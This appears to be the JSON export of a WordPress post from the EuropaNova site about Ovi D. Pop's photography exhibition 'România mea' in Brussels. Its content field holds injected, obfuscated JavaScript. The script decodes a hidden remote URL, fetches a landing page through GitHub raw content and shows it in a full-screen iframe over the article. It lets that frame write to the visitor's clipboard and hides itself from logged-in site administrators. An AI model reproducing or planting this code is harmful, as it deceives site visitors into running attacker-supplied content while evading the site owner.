{\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] && TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard && navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event && event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source && iframe.contentWindow && event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" && typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe && iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" && text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" && text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] && TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard && navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event && event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source && iframe.contentWindow && event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" && typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe && iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>22-26 septembrie \u2013 FotoDigiExpo: Rom\u00e2nia mea EuropaNova, Clos du Parnasse 11E, Bruxelles EUROPANOVA: Nu vii la Bruxelles \u00een zilele festivalului, ne-ai l\u0103sat pentru chinezi\u2026 OVI D. POP: Invita\u021bia \u00een China a venit mai devreme\u2026 Pentru mine Festivalul EuropaNova a fost o ramp\u0103 de lansare, prima expozi\u021bie in Bruxelles, dup\u0103 care au mai urmat dou\u0103, din [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":6607,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[150,149],"tags":[],"class_list":["post-6597","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-artistes-photographes","category-auteurs"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 4.9.9 - aioseo.com -->\n\t<meta name=\"description\" content=\"22-26 septembrie \u2013 FotoDigiExpo: Rom\u00e2nia mea EuropaNova, Clos du Parnasse 11E, Bruxelles \u00cenaintea evenimentelor Festivalului, \u00een pauze \u0219i \u00een timpul cocktailurilor, pe monitoare vor rula imagini ale artistului fotograf OVI D. POP selectate din expozi\u021bia-album \u201cRom\u00e2nia mea\u201d EUROPANOVA: Nu vii la Bruxelles \u00een zilele festivalului, ne-ai l\u0103sat pentru chinezi\u2026 OVI D. POP: Invita\u021bia \u00een China\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"mirela\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/www.europanova.be\/?p=6597\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 4.9.9\" \/>\n\t\t<meta property=\"og:locale\" content=\"fr_FR\" \/>\n\t\t<meta property=\"og:site_name\" content=\"EuropaNova - Espace de langues europ\u00e9ennes\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"Rom\u00e2nia lui Ovi D. Pop - EuropaNova\" \/>\n\t\t<meta property=\"og:description\" content=\"22-26 septembrie \u2013 FotoDigiExpo: Rom\u00e2nia mea EuropaNova, Clos du Parnasse 11E, Bruxelles \u00cenaintea evenimentelor Festivalului, \u00een pauze \u0219i \u00een timpul cocktailurilor, pe monitoare vor rula imagini ale artistului fotograf OVI D. POP selectate din expozi\u021bia-album \u201cRom\u00e2nia mea\u201d EUROPANOVA: Nu vii la Bruxelles \u00een zilele festivalului, ne-ai l\u0103sat pentru chinezi\u2026 OVI D. POP: Invita\u021bia \u00een China\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/www.europanova.be\/?p=6597\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2016\/06\/cropped-top-facture-EN.png\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2016\/06\/cropped-top-facture-EN.png\" \/>\n\t\t<meta property=\"og:image:width\" content=\"1196\" \/>\n\t\t<meta property=\"og:image:height\" content=\"418\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2023-09-01T08:29:24+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2026-05-22T21:02:56+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/EuropaNovaBruxelles\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n\t\t<meta name=\"twitter:title\" content=\"Rom\u00e2nia lui Ovi D. Pop - EuropaNova\" \/>\n\t\t<meta name=\"twitter:description\" content=\"22-26 septembrie \u2013 FotoDigiExpo: Rom\u00e2nia mea EuropaNova, Clos du Parnasse 11E, Bruxelles \u00cenaintea evenimentelor Festivalului, \u00een pauze \u0219i \u00een timpul cocktailurilor, pe monitoare vor rula imagini ale artistului fotograf OVI D. POP selectate din expozi\u021bia-album \u201cRom\u00e2nia mea\u201d EUROPANOVA: Nu vii la Bruxelles \u00een zilele festivalului, ne-ai l\u0103sat pentru chinezi\u2026 OVI D. POP: Invita\u021bia \u00een China\" \/>\n\t\t<meta name=\"twitter:image\" content=\"https:\/\/www.europanova.be\/wp-content\/uploads\/2016\/06\/cropped-top-facture-EN.png\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"BlogPosting\",\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?p=6597#blogposting\",\"name\":\"Rom\\u00e2nia lui Ovi D. Pop - EuropaNova\",\"headline\":\"Rom\\u00e2nia lui Ovi D. Pop\",\"author\":{\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?author=2#author\"},\"publisher\":{\"@id\":\"https:\\\/\\\/www.europanova.be\\\/#organization\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/www.europanova.be\\\/wp-content\\\/uploads\\\/2023\\\/09\\\/277594882_1633058620410162_5951565475351323057_n-2.jpg\",\"width\":591,\"height\":616},\"datePublished\":\"2023-09-01T09:29:24+01:00\",\"dateModified\":\"2026-05-22T22:02:56+01:00\",\"inLanguage\":\"fr-FR\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?p=6597#webpage\"},\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?p=6597#webpage\"},\"articleSection\":\"Artistes-photographes, Auteurs\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?p=6597#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.europanova.be#listItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\\\/\\\/www.europanova.be\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?cat=149#listItem\",\"name\":\"Auteurs\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?cat=149#listItem\",\"position\":2,\"name\":\"Auteurs\",\"item\":\"https:\\\/\\\/www.europanova.be\\\/?cat=149\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?p=6597#listItem\",\"name\":\"Rom\\u00e2nia lui Ovi D. Pop\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.europanova.be#listItem\",\"name\":\"Accueil\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?p=6597#listItem\",\"position\":3,\"name\":\"Rom\\u00e2nia lui Ovi D. Pop\",\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?cat=149#listItem\",\"name\":\"Auteurs\"}}]},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.europanova.be\\\/#organization\",\"name\":\"EuropaNova\",\"description\":\"Espace de langues europ\\u00e9ennes\",\"url\":\"https:\\\/\\\/www.europanova.be\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/www.europanova.be\\\/wp-content\\\/uploads\\\/2023\\\/02\\\/logoEN_150px_bleu.png\",\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?p=6597\\\/#organizationLogo\",\"width\":150,\"height\":150},\"image\":{\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?p=6597\\\/#organizationLogo\"},\"sameAs\":[\"https:\\\/\\\/www.facebook.com\\\/EuropaNovaBruxelles\",\"https:\\\/\\\/www.youtube.com\\\/@europanovabruxelles4971\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?author=2#author\",\"url\":\"https:\\\/\\\/www.europanova.be\\\/?author=2\",\"name\":\"mirela\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?p=6597#authorImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/ce83b94c6ede62f63738f26e55838a1f50f3243a52c1bb541cf6027c6fba1c2c?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"mirela\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?p=6597#webpage\",\"url\":\"https:\\\/\\\/www.europanova.be\\\